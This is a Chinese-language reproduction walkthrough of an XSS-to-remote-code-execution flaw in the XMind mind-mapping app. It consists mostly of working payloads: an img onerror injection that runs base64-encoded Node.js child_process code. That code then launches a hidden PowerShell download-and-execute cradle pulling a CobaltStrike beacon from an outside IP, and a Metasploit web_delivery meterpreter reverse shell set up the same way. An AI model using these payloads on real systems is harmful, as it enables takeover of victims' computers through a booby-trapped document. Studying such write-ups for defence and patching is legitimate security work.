XMind XSS RCE 漏洞复现

1 漏洞介绍

  • Xmind 对输出的内容没有进行 XSS 过滤,所以会产生 XSS 漏洞,因为 Xmind 也启用了 node.js 功能,所以会导致命令执行。

2 环境搭建

3 漏洞复现

  • 前期提要:
    • 靶机:Windows 10(XMind 202101070032)
    • 攻击机:Kali 2023.1
  • 只需要按住 ctrl 靠近大纲字符最后就可以弹出:
1
<img src=1 onerror=alert(1)>

  • 由于借助的是 node.js 进行命令执行,
1
2
3
require('child_process').exec('whoami',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
  • base 64 编码一下:
1
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==
  • Payload 如下:
1
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>

4 主机上线

4.1 CobaltStrike 上线

  • 创建一个 Web 站点托管:

  • 得到一个执行命令:
1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://114.132.241.133:80/xmind'))"
  • 和前面的 Payload 组合一下:

注:由于命令在单引号内,而 powershell 命令中也有单引号,所以需要用 \ 进行转义。

1
2
3
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://114.132.241.133:80/xmind\'))"',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
  • base 64 一下:
1
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzExNC4xMzIuMjQxLjEzMzo4MC94bWluZFwnKSkiJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>

  • 成功上线~

4.2 Metasploit 上线

  • CS 几乎一致:
1
2
3
4
5
6
search web_de
use 1
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.103
run
  • 上述命令执行完后,得到一个命令执行代码和地址:
1
http://192.168.0.103:8080/d2nmrgyYyAK7QhB
  • 修改下上述 CS 的代码:
1
2
3
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.0.103:8080/d2nmrgyYyAK7QhB\'))"',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
  • base 64 编码一下:
1
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMC4xMDM6ODA4MC9kMm5tcmd5WXlBSzdRaEJcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>

  • 成功上线~